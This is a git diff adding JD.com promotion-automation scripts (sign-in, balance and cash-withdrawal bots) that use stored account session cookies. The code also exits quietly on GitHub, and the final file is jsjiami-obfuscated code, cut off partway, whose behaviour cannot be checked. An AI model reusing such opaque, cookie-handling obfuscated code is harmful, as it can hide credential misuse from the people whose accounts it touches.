prizeBaseId + * @returns {Promise} + */ +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": linkId, + "businessSource": "NONE", + "base": { + "prizeType": 4, + "business": "throwNeedleGame", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com/`, + body: `functionId=apCashWithDraw&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': $.cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://joypark.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc5`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`提现成功!`) + allMessage += `京东账号${$.index} ${$.UserName}见缝插针成功!\n`; + } else { + console.log(`提现:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`提现:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_jin_tie.js b/jd_jin_tie.js new file mode 100644 index 0000000..5d2fe86 --- /dev/null +++ b/jd_jin_tie.js @@ -0,0 +1,488 @@ +/* + 领金贴(只签到) Fixed By X1a0He + Last Modified time: 2022-05-28 15:00:00 + Last Modified By X1a0He + 活动入口:京东APP首页-领金贴,[活动地址](https://active.jd.com/forever/cashback/index/) + */ +const $ = new Env('领金贴'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + await main(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}); + +async function main() { + try { + await channelUserSignInfo_xh(); + await channelUserSubsidyInfo_xh(); + } catch (e) { + $.logErr(e); + } +} + +function channelUserSignInfo_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "" } + }); + const options = taskUrl_xh('channelUserSignInfo', body, 'jrm'); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + $.keepSigned = 0; + let state = false; + for (let i in data.resultData.data.signDetail) { + if (data.resultData.data.signDetail[i].signed) $.keepSigned += 1; + if (data.resultData.data.dayId === data.resultData.data.signDetail[i].id) { + state = data.resultData.data.signDetail[i].signed; + console.log('获取签到状态成功', state ? '今日已签到' : '今日未签到', '连续签到', $.keepSigned, '天\n'); + } + } + if (!state) await channelSignInSubsidy_xh(); + } else { + console.log('获取签到状态失败', data.resultData.msg); + } + } else { + console.log('获取签到状态失败', data.resultMsg); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function channelSignInSubsidy_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "", "token": "" } + }); + const options = taskUrl_xh('channelSignInSubsidy', body, 'jrm'); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + if (data.resultData.data.signSuccess) { + console.log(`签到成功,获得 0.0${data.resultData.data.rewardAmount}元`); + } + } else if (data.resultData.code === '001') { + console.log(`签到失败,可能今天已签到`); + } else { + // console.log(data) + console.log("签到失败"); + } + } else { + // console.log(data) + console.log("签到失败"); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function channelUserSubsidyInfo_xh() { + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_JR_APP", + "channel": "default", + "channelLv": "", + "apiVersion": "4.0.0", + "riskDeviceParam": "{}", + "others": { "shareId": "" } + }); + const options = taskUrl_xh('channelUserSubsidyInfo', body, 'jrm'); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.code === '000') { + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 当前总金贴:${data.resultData.data.availableAmount}元`); + } else { + console.log('获取当前总金贴失败', data); + } + } else { + console.log('获取当前总金贴失败', data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl_xh(function_id, body, type = 'mission') { + return { + url: `https://ms.jr.jd.com/gw/generic/${type}/h5/m/${function_id}?reqData=${encodeURIComponent(body)}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com`, + 'Accept-Language': `zh-cn` + } + }; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } finally { + resolve(); + } + }); + }); +} + +// prettier-ignore +function Env(t, e) { + class s { + constructor(t) { this.env = t; } + + send(t, e = "GET") { + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s);});}); + } + + get(t) {return this.send.call(this.env, t);} + + post(t) {return this.send.call(this.env, t, "POST");} + } + + return new class { + constructor(t, e) {this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`);} + + isNode() {return "undefined" != typeof module && !!module.exports;} + + isQuanX() {return "undefined" != typeof $task;} + + isSurge() {return "undefined" != typeof $httpClient && "undefined" == typeof $loon;} + + isLoon() {return "undefined" != typeof $loon;} + + toObj(t, e = null) {try {return JSON.parse(t);} catch {return e;}} + + toStr(t, e = null) {try {return JSON.stringify(t);} catch {return e;}} + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try {s = JSON.parse(this.getdata(t));} catch {} + return s; + } + + setjson(t, e) {try {return this.setdata(JSON.stringify(t), e);} catch {return !1;}} + + getScript(t) {return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i));});} + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)); + }).catch(t => this.logErr(t)); + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try {return JSON.parse(this.fs.readFileSync(i));} catch (t) {return {};} + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r); + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r; + } + + lodash_set(t, e, s) {return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t);} + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e; + } catch (t) {e = "";} + } + return e; + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i); + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i); + } + } else s = this.setval(t, e); + return s; + } + + getval(t) {return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null;} + + setval(t, e) {return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null;} + + initGotEnv(t) {this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar));} + + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i);})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar; + } + } catch (t) {this.logErr(t);} + }).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + })); + } + + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i);}); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const { url: s, ...i } = t; + this.got.post(s, i).then(t => { + const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o); + }, t => { + const { message: s, response: i } = t; + e(s, i, i && i.body); + }); + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t; + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { openUrl: e, mediaUrl: s }; + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { "open-url": e, "media-url": s }; + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { url: e }; + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t); + } + } + + log(...t) {t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator));} + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t); + } + + wait(t) {return new Promise(e => setTimeout(e, t));} + + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + }(t, e); +} diff --git a/jd_jingBeanReceive.js b/jd_jingBeanReceive.js new file mode 100644 index 0000000..ff2065a --- /dev/null +++ b/jd_jingBeanReceive.js @@ -0,0 +1,8 @@ +/* +专属礼 + +6 10 * * * jd_jingBeanReceive.js + +*/ +var _0xodg='jsjiami.com.v6',_0xodg_=['‮_0xodg'],_0x1216=[_0xodg,'bmlja05hbWU=','bWF4UGFnZQ==','REJHb2s=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','dGltZQ==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','SnVVU1c=','elRTZGc=','dVhNTGE=','dEVvRUI=','VVBwclU=','dWN0anU=','WVRIUnc=','bXR5cHk=','YklGUFg=','ZU5XZHY=','YXhLUVU=','Z2V0Sm95SW5mbw==','Ym9keT0lN0IlMjJmaXJzdFR5cGUlMjIlM0EtMTAwJTJDJTIycGx1Z2luX3ZlcnNpb24lMjIlM0E5MDU1OCU3RCZjbGllbnQ9YXBwbGUmY2xpZW50VmVyc2lvbj0xMS4wLjImc3Q9MTY1ODA0NTA1MjcyNSZzdj0xMDImZXA9JTdCJTIyY2lwaGVydHlwZSUyMiUzQTUlMkMlMjJjaXBoZXIlMjIlM0ElN0IlMjJzY3JlZW4lMjIlM0ElMjJDSk95RElleUROQzIlMjIlMkMlMjJ3aWZpQnNzaWQlMjIlM0ElMjJaSnV5RDJTeUNXVHdZSnEyRE5VMlpOcnVFV1RzWXpTbkN0YzRDTlZzWUp1JTNEJTIyJTJDJTIyb3NWZXJzaW9uJTIyJTNBJTIyQ0pHa0NLJTNEJTNEJTIyJTJDJTIyYXJlYSUyMiUzQSUyMkNKUHBDSlVtWHpVbkR0U3pYek95RHpLMCUyMiUyQyUyMm9wZW51ZGlkJTIyJTNBJTIyWTJZNUNRWW1DSnV6Q3pxM0N3RzJaTlZ0WXRPekN6R25aTlB2Q3pxM0QySHZDSkNuRUpIdUVLJTNEJTNEJTIyJTJDJTIydXVpZCUyMiUzQSUyMlkyWTVDUVltQ0p1ekN6cTNDd0cyWk5WdFl0T3pDekduWk5QdkN6cTNEMkh2Q0pDbkVKSHVFSyUzRCUzRCUyMiU3RCUyQyUyMnRzJTIyJTNBMTY1ODA0NTA1MjcyNSUyQyUyMmhkaWQlMjIlM0ElMjJKTTlGMXl3VVB3Zmx2TUlwWVBvazB0d